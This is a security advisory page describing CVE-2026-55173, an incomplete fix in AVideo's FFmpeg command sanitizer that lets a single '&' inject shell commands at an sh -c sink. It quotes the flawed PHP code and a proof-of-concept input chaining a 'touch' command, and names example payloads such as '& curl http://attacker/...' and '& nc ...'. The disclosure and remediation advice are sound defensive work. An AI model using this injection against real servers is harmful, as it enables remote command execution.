CVE-2026-55173: AVideo has an incomplete fix of CVE-2026-33482: sanitizeFFmpegCommand still allows a single '&' (background operator), giving OS command execution at the same execAsync sh -c sink
Summary The fix for CVE-2026-33482 (GHSA-pmj8-r2j7-xg6c) is incomplete. That advisory reported that sanitizeFFmpegCommand() (plugin/API/standAlone/functions.php) failed to strip $(...) command substitution, allowing OS command injection at the execAsync() sh -c sink. The fix (commit 25c8ab90) added $, (, ), {, }, \n, \r to the denylist character class and a strreplace('&&', '', ...).
Published Jun 23, 2026
Affected packages
wwbn/avideo
- Ecosystem
- Composer (PHP)
- Affected
- <= 29.0
- Fixed in
- No patched version yet
- Check
composer show wwbn/avideo
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Summary
The fix for CVE-2026-33482 (GHSA-pmj8-r2j7-xg6c) is incomplete. That advisory reported that sanitizeFFmpegCommand() (plugin/API/standAlone/functions.php) failed to strip $(...) command substitution, allowing OS command injection at the execAsync() sh -c sink. The fix (commit 25c8ab90) added $, (, ), {, }, \n, \r to the denylist character class and a str_replace('&&', '', ...). It still does not neutralize a single & (the shell background operator), which remains a command separator at the unchanged sink. Same entry point, same sink, same impact as the original — only the surviving metacharacter differs.
Verified at master HEAD.
The surviving gap
HEAD sanitizeFFmpegCommand (functions.php):
$command = str_replace('&&', '', $command); // only the doubled form
$command = preg_replace('/\s*&?>.*(?:2>&1)?/', '', $command); // strips '&' only when followed by '>'
$command = preg_replace('/[;|`<>$()\n\r{}]/', '', $command); // char class has no '&'
// then requires the result to start with 'ffmpeg'A single & is therefore preserved. ffmpeg ... & <cmd> passes the sanitizer and the strpos(trim($command),'ffmpeg')===0 prefix gate.
Sink (unchanged)
plugin/API/standAlone/ffmpeg.json.php:418 -> execAsync($ffmpegCommand, $keyword). In objects/functionsExec.php::execAsync:
$command = addcslashes($command, '"'); // line 686 — escapes only the double-quote
$commandWithKeyword = "nohup sh -c \"$command & echo \\$! > /tmp/$keyword.pid\" > /dev/null 2>&1 &"; // line 705
exec($commandWithKeyword, ...); // line 712 — PHP exec() runs via /bin/sh -cThe sanitized command is embedded inside an inner sh -c "...". A bare & in $command separates commands for that inner shell, so the injected command executes. addcslashes escaping only " does not stop &.
Reachability
ffmpeg.json.php builds the command from _decryptString(getInput('codeToExecEncrypted')). This is the same threat model the original advisory accepted (“an attacker who can craft a valid encrypted payload can achieve arbitrary command execution on the standalone encoder server”) and the same CVSS basis (AV:N/AC:H/PR:N).
Proof (poc/poc_ampersand_bypass.php, poc/OUTPUT.txt)
Byte-faithful PHP harness: sanitizeFFmpegCommand copied verbatim from HEAD + the execAsync sh -c wrapping copied from functionsExec.php:
attacker input : ffmpeg -i input.mp4 & touch /tmp/avideo_amp_rce_proof & echo done out.mp4
after sanitize : ffmpeg -i input.mp4 & touch /tmp/avideo_amp_rce_proof & echo done out.mp4
ampersand survived : YES passes prefix : YES
final sh -c string:
nohup sh -c "ffmpeg -i input.mp4 & touch /tmp/avideo_amp_rce_proof & echo $! > /tmp/testkw.pid" > /dev/null 2>&1 &
>> injected touch executed: YES (/tmp/avideo_amp_rce_proof)The sanitizer leaves & intact and the injected touch runs at the sink.
Impact
Arbitrary OS command execution on the standalone encoder server, identical to CVE-2026-33482. Multiple &-separated commands can be chained (e.g. download + execute). Redirect-based payloads are blocked by the > strip, but command execution (e.g. & curl http://attacker/..., & nc ..., dropping/running a file) is not.
Remediation
Stop applying a metacharacter denylist to a sh -c sink. Build the ffmpeg invocation as an argv array with escapeshellarg() per token (the project already uses escapeshellarg() at 137 sites) instead of interpolating $command into sh -c "...". If the denylist is kept as defense-in-depth, add & to the stripped set — but the denylist approach has now missed two metacharacters in a row ($() then &).
Credited to anir0y.
References
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
More Composer (PHP) vulnerabilities
All Composer (PHP) entriesGHSA-7cqp-7cfv-6c3q
AVideo Meet plugin: anonymous-to-admin stored XSS via unescaped participant User-Agent in getMeetInfo.json.php Participants panel
medium5.4No fixJun 23, 2026CVE-2026-33684
AVideo's Privilege Escalation via Unguarded Permission Parameters in signUp API Allows Self-Granting Upload/Stream/Meet Permissions
medium5.3Jun 22, 2026CVE-2026-33692
AVideo Vulnerable to Unauthenticated .env File Exposure via Official Docker Compose Configuration
high7.5Jun 22, 2026CVE-2026-33731
AVideo has an Authorize.Net Webhook Signature Bypass that Enables Wallet Balance Inflation via Forged Payment Data
medium6.5Jun 22, 2026CVE-2026-49279
WWBN AVideo: Stored XSS via autoEvalCodeOnHTML Bypass in MessageSQLite WebSocket Handler (CVE-2026-43874 Bypass)
high7.7No fixJun 4, 2026CVE-2026-43873
AVideo: Unauthenticated Disclosure of CloneSite `myKey` via Error Echo in `cloneClient.json.php` Enables Cross-Site DB Dump of the Configured Clone Server
high7.5No fixMay 5, 2026
